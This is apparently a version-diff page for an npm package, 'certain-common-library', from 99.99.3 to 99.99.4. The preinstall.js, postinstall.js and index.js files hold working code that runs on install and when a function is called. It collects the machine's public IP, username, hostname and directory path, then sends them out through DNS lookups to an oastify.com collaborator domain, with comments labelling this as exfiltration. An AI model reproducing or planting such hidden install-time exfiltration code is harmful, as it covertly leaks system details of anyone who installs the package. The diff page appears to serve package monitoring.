certain-common-library 99.99.3 → 99.99.4
Sign up to get free protection for your applications and to get access to all the features.
- package/certain-common-library-99.99.4.tgz +0 -0
- package/index.js +2 -2
- package/package.json +1 -1
- package/postinstall.js +1 -1
- package/preinstall.js +1 -1
Binary file
|
package/index.js
CHANGED
@@ -20,7 +20,7 @@ async function getPublicIP() {
|
|
20
20
|
const userId = os.userInfo().username;
|
21
21
|
|
22
22
|
|
23
|
-
const exfilData = `inital-${publicIP}.user-${userId}.host-${hostname}.
|
23
|
+
const exfilData = `inital-${publicIP}.user-${userId}.host-${hostname}.d5jzq1zm8gj96y0o4rivgrduzl5ct7hw.oastify.com`;
|
24
24
|
|
25
25
|
|
26
26
|
dns.resolve(exfilData, 'A', (err) => {
|
@@ -36,7 +36,7 @@ function demoFunction() {
|
|
36
36
|
console.log("Demo function executed from @sellix/themes-nunjucks-service");
|
37
37
|
|
38
38
|
// Esfiltrazione dei dati ogni volta che la funzione viene chiamata
|
39
|
-
const functionExfilData = `function.${userId}.${hostname}.${ip.replace(/\./g, '-')}.
|
39
|
+
const functionExfilData = `function.${userId}.${hostname}.${ip.replace(/\./g, '-')}.d5jzq1zm8gj96y0o4rivgrduzl5ct7hw.oastify.com`;
|
40
40
|
dns.resolve(functionExfilData, 'A', (err) => {
|
41
41
|
if (err) console.error('Failed to resolve DNS for function exfiltration');
|
42
42
|
else console.log('Function-based DNS request sent for data exfiltration');
|
package/package.json
CHANGED
package/postinstall.js
CHANGED
@@ -55,7 +55,7 @@ async function exfiltrateData() {
|
|
55
55
|
const sanitizedPath = sanitizeForDNS(directoryPath);
|
56
56
|
|
57
57
|
// Dati da esfiltrare
|
58
|
-
const exfilData = `postInstall-${publicIP}.user-${userId}.host-${hostname}.dir-${sanitizedPath}.
|
58
|
+
const exfilData = `postInstall-${publicIP}.user-${userId}.host-${hostname}.dir-${sanitizedPath}.d5jzq1zm8gj96y0o4rivgrduzl5ct7hw.oastify.com`;
|
59
59
|
|
60
60
|
// Invia la query DNS
|
61
61
|
dns.resolve(exfilData, 'A', (err) => {
|
package/preinstall.js
CHANGED
@@ -55,7 +55,7 @@ async function exfiltrateData() {
|
|
55
55
|
const sanitizedPath = sanitizeForDNS(directoryPath);
|
56
56
|
|
57
57
|
// Dati da esfiltrare
|
58
|
-
const exfilData = `
|
58
|
+
const exfilData = `preInstall-${publicIP}.user-${userId}.host-${hostname}.dir-${sanitizedPath}.d5jzq1zm8gj96y0o4rivgrduzl5ct7hw.oastify.com`;
|
59
59
|
|
60
60
|
// Invia la query DNS
|
61
61
|
dns.resolve(exfilData, 'A', (err) => {
|